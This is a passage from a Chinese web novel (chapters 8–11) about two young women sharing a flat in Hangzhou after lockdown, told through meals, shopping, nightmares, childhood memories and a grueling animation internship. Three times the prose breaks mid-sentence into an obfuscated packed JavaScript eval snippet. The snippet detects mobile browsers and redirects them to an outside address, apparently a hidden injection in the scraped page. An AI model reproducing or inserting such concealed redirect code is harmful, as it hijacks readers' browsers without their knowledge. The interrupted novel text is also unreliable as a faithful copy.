她一直拉片、查资料、记录灵感、搞设定,我在地毯上躺的四仰八叉,看一场电影能换108个姿势。 唐雨薇每次熬夜都会吃很多药丸,有辅酶q10,有复合维生素b,有鱼油,叶黄素,还有大剂量的维生素c缓释片。 我说她怕死又不怕死的。 她说那能一样吗,养猫养狗还得喂点保健品才能养的皮毛油亮呢,熬夜身体会有炎症,不吃些抗炎的保健品她会长痘的。 我撩起她的栗棕色长卷发看了一眼,下了结论:“这痘没熟,不能挤。” “但是这个痘好疼啊,我都没有办法专心写文。” “真的吗?”我歪嘴一笑,“你砸键盘的声音我在厨房都听到了,我还以为谁家找了个施工队砸墙呢?” 唐雨薇说道:“我还以为你会迫不及待。” “挤痘也是要讲究基本法的好吧,你发际线有一颗痘,给你挤了吧。” 我从沙发边柜拿出粉刺针和碘伏棉签,唐雨薇枕着我的腿玩手机,叮咚一声,她手机来了一条短信。 是稿费入账短信,入账89995,账户余额468,665.58。 可真有钱啊。 8. 第 8 章 小区解封了。 我和唐雨薇拔床而起,一扫往日的萎靡。 她洗了头,穿上克莱因蓝长袖连衣裙,戴上蓝色耳环,扎了一个鸡毛头,拿着吹风机把脑后那头大波浪吹得更妖娆了些。 我涂了个口红,画了眼线,穿着奶绿色半袖和水洗蓝阔腿裤,甚至把包里的白色小绒花都别在胸口上了。 我梳着空气刘海,居家隔离这些日子,刘海都长长了不少,出门的时候我挽着唐雨薇的手臂说想要理发。 唐雨薇大吃一惊:“这可不行的呀,杭州理发可不行的呀。” 虽然我已经在杭州待了16天,但这并不妨碍我对杭州一无所知,在知道唐雨薇的学历之后,我对她已经有了一种盲目的信任。我觉得她见多识广,她吐槽杭州理发,那一定有她的道理。 “那就出门吃点好吃的吧,”我摸了摸自己的下巴,有点委屈,“我现在只有96斤了。” 唐雨薇信誓旦旦的说要带我去吃好吃的,她坚持要去米其林,我说咱们接地气一点,我真的特别想吃煎饼果子烤冷面? 大约是唐雨薇住的这个地方稍微有那么一点高端,找了半天,愣是没有找到卖煎饼果子烤冷面的小门店,我俩只好退而求其次,随便找了个面馆。 我们两个点了两碗拌面。 我是怀着极大的期待的,懂的都懂,居家隔离15天之后看啥都流口水。 吃下第一口面条后,我的表情凝固住了。 我觉得可能是因为我是东北人,吃不惯杭州的菜,所以我特别谨慎,抬头看了唐雨薇一眼。 我发现唐雨薇也在皱眉。 我低头,又艰难地吃了一口面。 再一抬头,唐雨薇已经面露难色,她拿起了手机,眼角的余光里,我看到她点开了大众点评。 我看到她手指在手机上戳戳戳,也不知道戳了什么,然后她就忽然站起来,庄严地放下了筷子,一脸严肃地向我宣告:“走吧,去吃米其林。” 她叫了个车,很快就到了一家米其林。 这是我第一次吃米其林。 进了店,我感觉自己进了个植物园。 我吃到了一股蟹味的西湖醋鱼。 这个味道很让我迷惑。 我如果想吃螃蟹的话,为什么还要吃鱼呢?! 黄酒鹅肝牛小排也吃得我困惑,我看着服务员拿着个刨丝器在那唰唰唰的搓鹅肝,幻视我妈系着围裙刨土豆丝,一口下去,不算难吃,但感觉还不如我妈炖的糖醋排骨好吃。 我们还点了两碗米饭,说米饭不是大米,而是一种菜籽儿,我这时候已经有点想生气了,我真的很想吃一碗朴实无华的大米饭,他给我端上来一碗菜籽算什么意思。 那米饭吃到嘴里之后,我更是很想哭,已经完全失去了米饭的质感,感觉在嚼一种很松散的东西。 唯一还算好吃的,就那个茶叶蛋。 吃到甜品的时候,我终于松了一口气,差一点就要感谢上苍了。 结账的时候我们花了将近2000软妹币,服务员居然还把钱算错了,简直离谱,幸好唐雨薇有一颗聪明的脑子,一眼看出账单不对。 一顿将近两千的饭,吃得我欲言又止,止言又欲。 唐雨薇也开始安慰自己:“这里毕竟不是上海,环境还是很不错的,也不是特别难吃,拍出的照片还是很好看的。” 我已经开始委屈得嘤嘤叫了。 这要是在东北,只需要200多块钱我们俩就能烧烤吃到撑啊!只需要200多块钱就能吃一顿五六人都吃不完的铁锅炖啊! 唐雨薇为了安慰我,给我买了一杯星巴克。 我们俩在商场逛了一圈之后去了超市,我开始疯狂购买味全果汁,各种口味都拿了一瓶,然后是鸡爪、薯条、巧克力饼干、辣条、溜溜梅、火鸡面...... 唐雨薇开始疯狂的买咖啡,冻干咖啡、胶囊咖啡、咖啡豆、牛奶、混合坚果、燕麦奶........ 买完之后忽然惊觉这些东西没法拿,正好超市开展活动,买洗衣液送购物推车。 洗衣液是刚需。 重要的是那个小推车真的挺漂亮而且很实用,奶白色的小推车真的挺可爱,虽然印着洗衣液牌子的logo,但完全可以用贴纸遮盖掉。 我们俩推着满满当当的小推车回家了。 我们俩可能是患上了物资匮乏恐惧症,坐在沙发上歇了口气儿,一人喝了一瓶果汁后,立刻又起身去了超市。 四个来回后,购买的东西已经堆成了一座小山。 “薇薇,你看过末世严重囤货文吗?”唐雨薇露出了疲惫又满足的微笑,“充足的物资才能给予充足的安全感啊。” 虽然我们俩的名字里面都有一个薇字,稍微有点撞款,但唐雨薇一直被人叫做唐唐,而我一直被人喊薇薇。 唐雨薇说她这个爱称就像她的长相一样,很有含糖量。 其实论含糖量,我的糖分要更高一些,东北冬夏温差大,生出点甜妹很合理。 唐雨薇有点淡淡的蛇蝎感,她身高1米71,身形纤细,凹凸有致,还有一头栗棕大波浪,背影就很御姐了,每当她画完妆又戴上绿色美瞳的那一刻,我觉得她下一秒就要喝人血。 “你第一本大火的文就是末世囤货文吧?”我把买来的鸡蛋放在收纳盒里,“一本五星的大神。” 唐雨薇拆开一盒袜子,摇头:“我第一本文只有四星,完结后赚了76万,第二本才是五星,其实过了这么多年,我第一本也5星了。” 第一本书是她在高考结束后写的。 “我整个暑假都在写那本书,想用稿费买个自己的房子,很小也行。” “那你后来买了吗?” “上海的房子太贵了,小小四星,在上海的房价面前不堪一击。” 唐雨薇和我一样,我们俩都是重组家庭,亲妈和后爸生活在一块,所以我特别能理解她想买房子的想法。 有时候我们需要一个独属于自己的空间,别人进不来。 我妈很讨厌我在家的时候把卧室门关起来,我不关门的时候她懒得看我一眼,我把房子点着了都无所谓。但一旦我关门了,她就抓心挠肺的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138137|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道我在房间里干什么。 她会反反复复的从我门前经过,每隔10分钟就要敲一次门,问我要不要吃水果,问我要不要出去逛街,问我要不要出门吃饭,问我要不要逛书店,问我中午想吃什么,问我晚上想吃什么。 后来我学聪明了,每次关门的时候都要跟她报备,比如我要画画,我就一脸庄严地跟她说我要画画,我要形成一个充满灵感的密闭空间,一旦开门,我的灵感会从门里流走。 这时候我妈就安静了,大约一小时敲一下我的门,看看我在干什么。 这时候我就大喊:“你开个门缝就行,千万不要让我的灵感溜走!” 然后我妈就只开一个门缝,看到我捧着数位板坐在电脑前抠脚她就放心了,十分迅速的把门关上,在门外和我说话,似乎真的怕我灵感溜走。 我都是吓唬她的,故意把事态说得严重,正所谓一个猴一个拴法。 唐雨薇听了之后又开始笑,“我妈就很难搞了,她软硬不吃的,也只有给钱的时候才痛快,她不让我关门,要监督我学习,一次又一次问我自己一个人在房间里做什么,为什么要关门,到底想干嘛。” “那你怎么说的?” “我说我要看黄片,人在看黄片的时候要干嘛你不会不知道吧?” 我虎躯一震:“然后呢!” 唐雨薇耸肩:“我妈就允许我关门了,她就这样,我要开窗的时候她不让,我说要把房顶掀了,她就同意我开窗了。” 说着说着,唐雨薇又开始拿着喷瓶给冰箱消毒。 我们俩开始了冰箱收纳,700升的白色双开门大冰箱很快就被我们填满了。 此我必须要着重强调一下房东的这个冰箱,这真的是一个超级巨无霸的大冰箱,就像韩漫里的双开门男人,特能装! 我和唐雨薇吃饱喝足后,她又开始写文了。 她的小号残灯孤影开了一本灵异文,她每次码完字都会被吓个半死。 不知道是不是日有所思夜有所梦,她开始做噩梦了。 噩梦是副本里的一个场景。 配角a做了一个预知梦,梦里面,他看到自己把弟弟绑起来,拿着一把大剪刀,剪断了他弟弟的手指和脚趾,又挖了弟弟的眼睛。 为了不伤害到自己的弟弟,配角a把自己绑了起来,还吃下了大量的安眠药,使自己陷入沉睡状态中无法行动。 但喜欢玩弄别人命运的恶鬼是不会就此停手的,在配角a失去意识的这段时间中,恶鬼操纵他的身体,他还是拿着那把大剪刀剪断了他弟弟的脚趾手指并挖空了他弟弟的眼睛。 安眠药药效过后,配角a慢慢醒来,一睁开眼,浑身血淋淋的弟弟站在他床前,手里举着一把巨大的剪刀,森冷的月光照耀进来,照亮了他弟弟脸上的两个血洞。 就这种剧情,谁能不害怕。 评论区的读者被吓得嗷嗷叫,唐雨薇自己也吓得够呛。被噩梦惊醒之后,她连拖鞋都顾不得穿,光着脚丫子就开始敲我卧室门。 我睡眼惺忪打开门,唐雨薇一个箭步蹿过来,狠狠抱紧了我。 9. 第 9 章 她身体阴冷,手心手背还有脑门上都是冷汗,奶黄色的低领樱桃睡裙领口太低,我看到她雪白的胸口也遍布着一层细汗。 细小的汗珠像雾似的,雾蒙蒙地沾在她胸口上,散乱的栗棕色长发也被冷汗打湿了,黏在她雪白的肩头,脖子和手臂上也沾着几缕凌乱妖娆的发丝,看得我眼神发直。 不是我好色,大多数人见到美女都这个反应,纯粹是对美貌的惊叹罢了。 “咋了?”我一手搂腰,一手搂背,“你身上咋这么冷,睡裙怎么还湿了。” 她身上汗津津的,趴在我身上发出一声冗长沉痛的哀嚎。 我们没有开灯,只有淡淡的月光和霓虹的色彩从竖琴纱帘里照进来。 夜色凄迷,她身上的香气都很幽怨。 她云遮雾绕的长发朝着我垂下来,影影绰绰的,好像把我困在了一座散发着淡淡香气的迷城里。 我有点愣住。 她还在发着抖,哆哆嗦嗦的在我耳边说道:“写这些的时候也不觉得吓人啊。” 我的手在黑暗中摸索着,拉开了床头柜上的台灯。 昏黄的光填满了奶黄色的次卧。 唐雨薇不怎么来我的房间,因为次卧实在不大,她更愿意把我薅到她的主卧里去,让我陪她拉片追剧。 我的房间很温馨,作为美术生,我的审美很有一套,比较追求色系上的统一。 奶黄色的窗帘后面是白色的竖琴纱,一米二的白色软包单人床铺着奶黄色四件套,白天和她逛超市的时候,我又买了一个奶黄色的毛绒小毯子和一块毛茸茸的奶黄色地毯,还有一个南瓜抱枕。 小毯子搭在床头,长毛地毯铺在床边,南瓜抱枕地摆在枕头边,书桌上也铺着奶黄色的桌布,放着我的电脑和数位板,还有在超市里买的奶黄色保温杯。 唐雨薇环顾着我的房间,温馨的色调让她开始慢慢冷静下来。 她摇摇晃晃的坐在奶黄色的地毯上,弓着后背倚着我的床。 我以前写小说的时候,为了突出主角的美貌,经常写苍白到透明的皮肤。其实我很清楚,这种描写只是给读者提供了更好的想象,现实生活中几乎不可能看到。 但是这一次,我小说里这些形容美貌的文字具象化了。 原来人的脸色惨白到极致,真的会给人一种透明的感觉啊,我一哆嗦,赶紧把台灯调亮了。 我想把卧室大灯打开来着,但是又怕刺眼睛,看着唐雨薇这个样子,我热切地提议:“要不要喝点东西啊,我还买了两杯香飘飘奶茶呢!” 我把香飘飘奶茶扔进购物车里时,唐雨薇看我的眼神好像我犯了什么十恶不赦的大罪。 此刻她苍白脆弱宛若游魂,但一提起香飘飘,她又像打了鸡血似的挺直了脊梁,用气若游丝但十分坚定的语气拒绝了我。 “我不喝带植脂末的东西。” 我切了一声,只好把她买的冻干咖啡拆开了。 在超市里买的两个白色陶瓷杯派上了用场。 把冻干咖啡倒入杯中,加两三勺热水,拿出在超市里买的打泡器打发,加入唐雨薇买的牛奶。 我打着哈欠做完这一切,端着两杯咖啡走进了次卧。 唐雨薇这次搬家带了很多杯子,但她那些杯子我不太敢用,特别是当我知道那个叫什么江户切子的蓝色碎花杯子价值8000多的时候。 走进次卧,唐雨薇身上裹着我那条奶黄色小毯子,正拿着手机看评论。 我把咖啡递给她,她喝了一大口,随后扬起脖颈,发出一声长长的喟叹。 她脖子很长,一仰起头,我就会想起我奶奶养的大鹅。 我也坐在地毯上倚着床喝咖啡,唐雨薇又开始给我讲她的噩梦。 五星大神的文字功底就是强,她讲的绘声绘色,让本就有点失眠的我打了好几个哆嗦。 我把她身上的毯子拽下来一角,也把自己裹住了。 我俩缩在毯子里,她讲完之后问我:“薇薇,你还敢一个人睡吗?” 我欲言又止。 想骂她,但这是她的地盘,就连我屁股下的地毯和肩膀上的毯子都是她付的账。 哦,还有陶瓷杯和杯子里的热拿铁。 俗话说,识时务者为俊杰。 我立马把她拉到我床上去了。 两人挤在一米二小床上,彼此的呼吸声都能听见。 我关了台灯,耳边是她的呼吸,动一动胳膊,就能碰到她的长发。 我很少和别人睡一张床。 虽然我是独生女,但我很少和爸妈亲昵。 乡下农村养孩子是不会太精细的,地里的活要忙,家里的鸡鸭鹅要喂,猪圈里的猪要养,我妈没有太多的时间陪我。 晚上我会搂着我妈睡觉,在我五六岁的时候,总是会在睡着后无意识地摸我妈的胸。 我妈干了一天的活已经很累了,谁也别想打扰她睡觉,直接把我踢到炕头让我挨着我爸睡。 我爸是个佛系的人,他一直都默默干活,我要钱,他就卖猪卖粮食努力给我钱,在最大范围内满足我。 但除此之外,我们的沟通很少,似乎很多子女和自己的老爸没什么共同语言。 我上大学那天很多父母都送女儿来寝室,我室友几乎挂在她妈妈身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138138|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了。她和她妈妈撒娇,然后一手牵着她妈一手挽着她爸去学校食堂吃饭。 我看了之后很震惊,因为我永远没有办法挽着我爸妈的手再夹着嗓子和他们撒娇。 我只会在看见小猫小狗时夹起嗓子。 估计是做拿铁咖啡的时候我放了太多的冻干咖啡,以至于我和唐雨薇躺在床上死活睡不着。 我思维发散,想一些乱七八糟的东西,从童年到成年,脑中冒出了高尔基的《童年》《在人间》《我的大学》。 我闭上眼,耳边是唐雨薇轻轻的呼吸声,她身上的香气一阵一阵的,悠悠荡荡的朝我飘过来。 我又开始做梦了。 梦到了我的童年。 我妈牵着我的手,把我送到幼儿园。 幼儿园是村里五队的一个老师开的,读一学期只要一百块钱。 我妈把我送到幼儿园那天给我买了蛋奶饼干和娃哈哈,我背上了书包。那是一个很小很小的小书包,好像是深蓝色的,上面还有一个小象。 我第一次离开家以外的地方,坐在小板凳上一直哭,我前面坐着一个穿蓝色线衣的小男儿,哭声嘹亮的很,还哭出了两个鼻涕泡。 幼儿园老师开始叫我们算术。 我最怕算术了,5+3这样的问题还要掰手指头。 学数学对我来说一直很痛苦。 幼儿园老师姓谢,会把丸药外面的那层塑料壳穿在绳上给我们当算珠。 那条绳就挂在黑板上面,她拨动算珠,问我们几加几等于几。 我们坐在黑板下面,一声一声地跟着数。 幼儿园都是我们同村的孩子,村里的孩子就那么多,我们会上同一个幼儿园,然后再上同一个小学。 有的孩子很小的时候就能看出很聪明了,比如李明,他做数学题一直很快。 有一次幼儿园考试,考到前三的人会有奖励,奖励的物品有格尺,带着小金鱼的自动铅笔,还有漂亮的小本子。 我已经很努力了,可我做数学题真的很慢,幼儿园老师拍完卷子之后我一直忐忑的等待着,然后谢老师宣布名次,我看着得前三的同学们上台领奖。 后来我上一年级了,捧着一摞高高的书来到村里的小学。 那已经是秋天了,走廊的窗子外面是金黄色的树,金色的光线照耀进来,眼前是漂浮着的细小尘埃。 教室里传来读书声,脚下是铺在走廊上的红砖,我走着走着,忽然摔了一跤,手里捧着的那摞书全都摔在了地上。 我捡起书来继续走。 那时我还很小,不知道人的一生还会摔很多很多的跟头。 10. 第 10 章 唐雨薇也睡不着,她翻了好几个身,躺在床上和我讲她的大纲。 她的新书更新到68章,进入了第三个小高潮,她的书每隔二十章就会出现一个重要剧情点,起承转合安排的明明白白。 大神的写作体系是非常成熟的,当下市场喜欢什么,观众爱看什么,什么人设比较时髦,哪些句子和片段会成名场面,什么样的攻受比较好磕,这些唐雨薇心中都一清二楚。 如果不是看到她写文时龇牙咧嘴的样子,我真的会以为唐雨薇是一个无情的码字机器。 除了拉片,唐雨薇还会扫榜。 扫榜就是点开各个知名的小说阅读app,根据小说网站热门榜单排行逐一观看。 她会一边看书一边记笔记,记一下文章设定和情节节奏,有的时候一天看好几本,懒得记笔记就会画思维导图。 所以她的成绩非常稳定,有的五星作者一本书爆火之后下一本就扑街扑到想死,唐雨薇不会,她一直稳四星,也就是单本50万稿费,当然也有另一种情况,比如她想写写短文练手的时候,由于全篇字数很短,只有20万左右的字数,这时候她的收入就会在三星左右,单本稿费10万以上。 唐雨薇只看榜单前8,因为她对吊车尾的没兴趣。 我都震惊了:“金榜前十还叫吊车尾啊?” 唐雨薇沉吟片刻,似乎是在反思,过了一会她说道:“世界第一高峰是什么?” 我想也不想:“当然是珠穆朗玛峰啊?” “那世界第二高峰呢?” 我:“.......” 对于我的沉默,唐雨薇什么也没说,但似乎又把什么都说了。她轻笑一声,在我旁边翻了个身,又开始摸我的脑袋了。 她的手撩着我的刘海,我躲开她的手,“你都把我刘海摸油了。” 唐雨薇收回手,在我耳边叹气,“刘海确实长了,咱们明天找个好一点的理发店吧。” 我们讨论着发型,又从发型谈到染发,唐雨薇说她要补染发根,我听着听着,困意一阵一阵涌上来,不知不觉就睡着了。 我睡觉很沉,睡相还算乖,就是手有点不老实,一定要抱着什么东西睡才有安全感。 上大学住宿舍的时候,我会抱着一个乳白色的趴姿熊睡觉。 那只熊身高一米,抱起来软软的,爪子上还填充了一些有重量的塑料颗粒,抱起来的时候爪子会柔顺的垂在我的肩膀和大腿上。它身上的绒毛也特别柔软,我经常在厚实柔软的绒毛上摸来摸去,有时候还会骑着它睡觉。 来唐雨薇这里后,我孤枕难眠,只能抱着被子和毛毯睡觉。一觉醒来后,被子和毛毯都被我揪的变了形,我会在起床后把被子和毛毯抖一抖,然后缩在被子和毛毯里面玩一会儿手机,再美美的睡一个小小的回笼觉。 大约是喝了咖啡,我中途又醒来一次。 这次醒来才发现不太对劲儿,手掌下一片细腻的绵软,这明显不是我的被子,也不是我的毯子,那问题来了,这到底是什么? 我迷惑了一会儿,手掌下意识的抓了抓,这一抓令我虎躯一震。 天呐! 我竟然把手伸进了唐雨薇的睡裙里! 啊!啊!啊!!!!! 我的眼睛逐渐适应了黑暗的光线,惊恐的瞪大眼睛朝身旁的唐雨薇看过去。 我们身上盖着的奶黄色泡泡纱被子已经被我们踹到了脚底下,唐雨薇的睡裙被我掀到了腰上面,露出了两条修长纤细的雪白大腿和身上穿着的奶黄色泡泡纱内裤。 我盯着她的腿,心想这个饱和度的奶黄色真的很显白啊。 这个想法一出现,我差点抽自己一耳光。 这都什么时候了还在意什么饱和度,这是探讨艺术的时候吗!幸好唐雨薇睡得沉没有醒,不然我真是长800张嘴也说不清了! 我的胸膛贴着唐雨薇的后背,大腿压着她的大腿,胳膊压着她的腰,手伸进了她的睡裙里去。 我瞬间冒出了一层冷汗,恨不得后背长出俩翅膀,赶紧摆着手飞走。 谁懂啊!这辈子我都没有想过会发生这么惊悚的场面! 哪怕是我俩同一个性别,这也足够令人尴尬的了,谁家好朋友半夜睡觉被另一个袭胸啊?! 男的女的都不合适好不好。 我悄悄把手拿下去,做贼似的拎起她睡裙下面的荷叶摆,又慢又轻的往下拽,睡裙盖过了唐雨薇的膝盖,掩住了大片雪白。 太可怕了,我惊魂未定,长长的呼出一口气后看向床尾,奶黄色泡泡纱被子堆在床角,也不知道是我们俩其中哪个的杰作。 我捞起被子,这下是不敢和唐雨薇盖一条被子了,万一我睡着了再把手伸进人家睡裙里怎么办,唐雨薇肯定会觉得我是个变态。 坐在床上想了一会,我又轻轻呼出一口气,把被子盖在了唐雨薇身上。我拽起从超市里买的那条奶黄色小毯子,把自己的手和脚都裹住,就露出一个脑袋,这才长舒一口气,面靠墙壁睡着了。 当清晨的光线从奶黄色雪尼尔窗帘后面的白纱帘洒落进来的时候,我醒了。 我一向有起床困难症,窗帘不会拉的特别严实,会留一道一掌宽的缝隙。 早上六点钟的太阳光洒满了这一方奶黄色的小房间,清晨的阳光实在太舒服了,充满智慧,充满希望,乳白色的地板铺上了一层暖洋洋的光,书桌上的橘色日程本正对着我,一只橘猫趴在页脚上打哈欠。 房间很安静,隐约能听见窗外的几声鸟叫。 我舒服极了,闭上眼睛伸了个懒腰,转头看唐雨薇。 唐雨薇的睡裙又跑到胸上面了,好在她是趴着睡觉的,只露出一片纤薄白皙的背。 她后背上的痘已经消下去了,留下一些淡淡的红印子,我看了两眼,又扯过被子给她盖上了。 我小心的关上门去了洗手间,洗手间的内倒窗开着,清新的草木香气带着露水的潮湿味,被吹来的晨风送进来。 这个房子的洗手间有八平米,像个小迷宫似的,推开门是洗漱的地方,再推开门是上厕所的地方,在此着重强调一下,这个洗手间里有两个马桶。 两个马桶耶! 两个马桶被竖条纹磨砂玻璃房隔开,靠墙的过道通向浴室,这个卫生间的窗户很大,是一个四方形的窗户,窗外是郁郁葱葱的树,景色好极了。 我刷牙洗脸上厕所,身上穿着唐雨薇的一套蓝色波点短袖睡衣,为了配色,我又从墙上的头饰收纳架上薅下来一个蓝色的方巾发圈把自己的一头长发扎了起来。 我照着镜子,感觉好极了! 我美美地去厨房做早饭。 从冰箱里拿出两个土豆削皮洗净,用刨丝神器刨成土豆丝,往土豆丝里放了少量的面粉、白胡椒、十三香还有盐,搅拌均匀后放进新买的平底锅里,又在中间掏了一个洞,打了个鸡蛋进去。 我开了小火,盖上了锅盖,差不多五六分钟左右,四个土豆鸡蛋饼就做好了。 我又开始给菠菜焯水,做了一锅菠菜蛋花汤。 新买的薄荷曼波绿奶锅真的非常适合煮汤,我看着汤锅里开始冒泡的菠菜蛋花汤,不敢相信我居然是会早起给别人做早餐的人了,要知道我在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138139|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是衣来伸手饭来张口的啊。 虽然我家穷,但我可是备受宠爱的独生女啊,只要作一作闹一闹,大部分心愿都会被满足,我爸妈更是拿出养猪的精神来养我,生怕我饿着。 我是一个不爱吃饭的人,高考之后我妈和刘叔去店里卖东西没时间管我,我妈每天都会给我三十块钱,让我自己出去觅食。 家里就剩我一个人,我懒得做饭,一直躺在床上看小说看动漫,饿了就冲杯蜂蜜水。中午蜂蜜水,晚上蜂蜜水,半夜看小说看饿了还是冲一杯蜂蜜水。 天天蜂蜜水,我的体重掉到了86斤,把所有人都吓了一跳,我妈以为我是因为高考成绩不理想导致的茶饭不思,还特意拉着我的手我炖了一大碗心灵鸡汤。 我远在乡下的老爸也给我打电话,说最近猪肉涨价,家里的猪卖了很多钱,和我上初中那会儿不一样了,不要让我担心钱的事,说完之后就给我打了三万块钱。 我上大学军训的时候教官也特别关照我,因为有一天刮大风,我居然被风吹跑了,怎么也停不下来,还是教官一把拉住了我,还顺手捡起了我被风吹跑的帽子。 如今呢,宁愿饿到86斤都不愿意做饭的我居然开始起大早做早饭了,真是不可思议,我甚至还做了土豆丝鸡蛋饼这么有难度的东西。 也不知道是什么改变了我。 过了一会,次卧的门被打开了,唐雨薇脚步踉跄哈欠连天的走了出来,从洗手间出来之后一屁股坐在了餐厅的椅子上。 唐雨薇的生活习惯和我不太一样,她是洗手漱口之后先吃早饭,吃完早饭之后再去认真洗漱,洗漱完之后挑一件工作服(居家服)跳会儿健身操,然后坐在电脑前开始码字。 我们俩开始吃早餐,唐雨薇对土豆丝鸡蛋饼赞不绝口,还把我做的菠菜蛋花汤也狠狠夸了一遍,说什么清甜可口。 菠菜蛋花汤怎么会清甜可口呢? 我疑惑的尝了一口。 发现我把糖当成盐放进去了。 于是我又放了盐,糖和盐中和一下,菠菜蛋花汤的味道还是很不错的。 吃完早饭,唐雨薇开始刷碗打扫厨房卫生,我去次卧画画,她去主卧码字,中午我们俩又去外面吃饭。 我们俩吃的面露难色,她又带我去了米其林。 这家米其林比上一家好吃一点点,但也就是一点点而已,我一边吃一边拍照,拍照之后发朋友圈,味蕾没怎么满足,但虚荣心倒是得到了极大的满足。 我吃一道菜就要撩一下刘海,我的刘海实在太长了,于是唐雨薇决定带我去理发,她也顺便把发根补补。 她谨慎地挑了一家店。 我狗狗祟祟跟在她身后,默默打量着这家理发店的豪华装潢,一颗心反复拉扯,为我的钱包而感到由衷的心痛。 我们俩去洗头。 洗头的那个躺椅还带按摩功能,给我洗头的是一个小姐姐,做了宝蓝色渐变美甲,她的长指甲反复抓挠我的头皮,我感觉她要在用我的头骨去练一套九阴白骨爪。 那个给唐雨薇洗头发的是个男学徒,染着粉头发,正在热切地和唐雨薇聊天,问唐雨薇是不是平面模特。 唐雨薇:“我不是模特。” 洗发小哥:“那你是网红吧,有没有抖音号我去关注一下。” 唐雨薇:“我也不是网红。” 洗发小哥:“那你是做什么的啊?” 唐雨薇:“我是写网文的。” 洗发小哥:“那你写的什么啊我去看看。” 唐雨薇:“写男同性恋。” 洗发小哥沉默了。 11. 第 11 章 最终,我花了188剪了个头。 这个价格真是让我痛彻心扉。 唐雨薇补染了发根,加了理发师的微信,又花了159块钱做了一个头皮护理。 离开理发店,我俩去了图书馆,我们戴着口罩在图书馆里穿梭,唐雨薇捧着一摞书,一边翻阅一边拿出她的苹果笔记本电脑开始敲敲打打。 我拿了一摞《野蔷薇村的故事》,坐在靠窗的位置默默看了起来。 不一会,有个穿着很时尚的男生走过来,递给唐雨薇一张浅绿色的便利贴,有些羞涩地对唐雨薇笑了一下。 我凑过去看那张便利贴,上面写着:“可以认识一下吗?”,底下是一串微信号。 我“啧”了一声,唐雨薇笑了笑,把便利贴放在一旁。 不一会,她放在桌上的手机亮了一下,是给她理发的年轻理发师发来的微信,唐雨薇点开手机,我看到了一长串头发烫染后的注意事项和护理方法,比我见过的一些药品说明书都详细。 唐雨薇发了个笑脸。 那个理发师又开始没话找话,问她下次什么时候护理头发,他可以赠送一次免费护理。 唐雨薇回了两句,倚着椅子伸了个懒腰。 我在一旁小声:“当美女就是好啊。” 唐雨薇转头看了我一眼,唇角翘了翘,帮我理了理刘海。 我们俩在图书馆度过了一个下午的时光,回家的时候天已经黑了,路过超市时,我们俩买了一箱普罗旺斯西红柿和两把香菜,回家做西红柿香菜汤。 我和她一眼,晚上吃的很少,两片烤馍片和一碗蔬菜汤就是晚饭了。 唐雨薇刷碗,我去收纳柜里又挑了一个键盘。 这间房子有一个储物间,严格点算的话应该是三室一厅,储物间很小,四面八方全是架子,摆了满满当当的东西,其中有一面架子特别醒目,上面摆满了五颜六色的键盘。 键盘是网文携手吃饭的工具,唐雨薇有相当多的键盘,据她所说,她有一百多个键盘,这次搬来杭州比较匆忙,她只带了最常用的十二把。 我在储物间像皇帝选妃似的挑了一会,拿出一把静电容回到了次卧,屏气凝神后又喝了一口水,然后开始敲敲敲。 我最近正在写一本神豪文,里面的女主每天啥也不干,就是花钱花钱再花钱。 花钱是一门很有艺术的学问,因为没有暴富过的人根本不知道如何花钱,我们要花出创新,花出价值,花出艺术,最重要的是,要让读者身临其境感同身受。 这些天我查了相当多的资料,每天都在向天上的神灵祈愿,让神灵使出神力把那些该死的资本家吊死在路灯上。 我刷刷刷写了一千字时手机响了一下,是boss招聘发来的信息,一家动画公司给我发来了面试邀请。 薪资还算可以,实习工资能开到3500,我抱着学点什么东西的态度去了那家公司。 然后我就遭到了社会的毒打。 从唐雨薇家里出发去公司,通勤时间为一个半小时,但还好,我不用像很多毕业生一样,一出来工作就要面对高昂的房租。 我实习的第三天,居然加班到晚上十点钟,现在的动画都是以3d为主,但我现在的这个公司正在制作一个二维动画。 二维动画真的....... 干的那段时间,我的脑子里全都在盘旋李贺的诗——日寒月暖,来煎人寿,煎人寿...... 一通操作猛如虎,一看工资3500。 一个月后,我揣着3500的工资条,在唐雨薇的陪同下去了医院,挂了神经内科。 这段时间我不仅偏头痛,还很难睡觉,睡两个小时就会在梦里惊醒一次,一有点风吹草动,就会身体一弹猛地惊醒,而且我的脖子那里像长了个心脏似的,一直在砰砰砰砰跳。 做了一堆检查之后,我的身体没有任何器质性病变。 神经内科的医生说我是神经衰弱,给我开了一些滋补神经的药物。 我拎着一塑料袋的药和唐雨薇回家了。 唐雨薇点了两杯奶茶安慰我,我正要插上吸管,手机突然震了震,是那位养设的富婆来催稿了。 